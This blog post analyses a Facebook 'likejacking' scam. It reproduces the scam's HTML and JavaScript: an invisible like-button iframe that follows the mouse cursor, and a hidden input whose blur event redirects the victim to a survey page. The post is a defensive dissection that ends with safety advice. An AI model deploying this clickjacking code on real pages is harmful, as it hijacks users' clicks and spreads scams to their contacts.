Yes, we have this sort of stuff going on almost every day but today I fell for this one, and as I write this, 61976 more people have too. What the little bugger does is makes you “like” something that is basically a pile of ads so all your friends click on it and… well you get it, don’t you?
Anyway, I had nothing to do so I dissected the thing a bit and it’s actually quite interesting. The page by itself looks like this:

I did not click that one specifically. It looks like they redirect you to new ones as old ones get banned. As for now I’ve been routed through one about some supposedly funny webcam situation (yeah, I clicked that, shut up…) and another about Miley Cirrus which had a good reception among my contacts… sigh. Anyway the code looks like crap of course and it’s bloated with iframes. I looked a bit into it and I found the first interesting piece of code.
<div id="fbLikeFrame"
style="overflow: hidden; width: 100px; height: 100px; position: absolute; opacity: 0;">
<iframe scrolling="no" frameborder="0" name="fbframe" id="fbframe"
allowtransparency="true" style="border: medium none; overflow: hidden;
width: 50px; height: 23px;"
src="http://www.facebook.com/plugins/like.php?href=http://respectmiley.com/
&layout=standard&show_faces=false&width=450
&action=like&font=tahoma&colorscheme=light&height=80">
</iframe>
</div>
There you go, the attack point is some small iframe that contains the like button. It’s set to transparent and sized like the proper like button. When you’re not signed in it looks like this:

So, how do they force you to click that? Of course with javascript. As you are expected to click on the video, this little snippet does the job:
document.getElementById('Troll').focus();
var myHTMLBody=(document.compatMode=="CSS1Compat") ? document.documentElement : document.body;
var fbLikeFrame = document.getElementById('fbLikeFrame');
var myBoolean = 0;
function mouseFollower(e){
if (window.event) {
fbLikeFrame.style.top = (window.event.y-10)+myHTMLBody.scrollTop+'px';
fbLikeFrame.style.left = (window.event.x-10)+myHTMLBody.scrollLeft+'px';
} else {
fbLikeFrame.style.top = (e.pageY-10)+'px'; fbLikeFrame.style.left = (e.pageX-10)+'px';
}
}
document.onmousemove = function(e) {
if (myBoolean == 0) {mouseFollower(e);} else fbLikeFrame.style.display = 'none';
}
This is pretty much self-descriptive. On mousemove the fbLikeFrame follows the cursor (while being invisible) so it’s always over the like button. When you finally click to watch the video you actually click the like button inside the iframe, the Troll-ID element loses focus() (given at the first line) and you’re redirected to widget2.php inside the iframe. This can be seen in the definition of that element in the onblur property.
<input type="text" style="width: 0px; height: 0px;" id="Troll" onblur="window.location = 'widget2.php'">
And that’s it. This new widget2.php page is mostly the same but includes a pretty standard (and very obfuscated) code that prompts you to do some surveys or whatever so you can get to the content itself. When you do that you are allowed to finally click the video and you’re redirected to Youtube where they show you a totally unrelated video about a three year old crying because of Justin Bieber (wat?).
So there you go, don’t click on fishy stuff and if you feel like doing it anyway, use NoScript. Have fun.
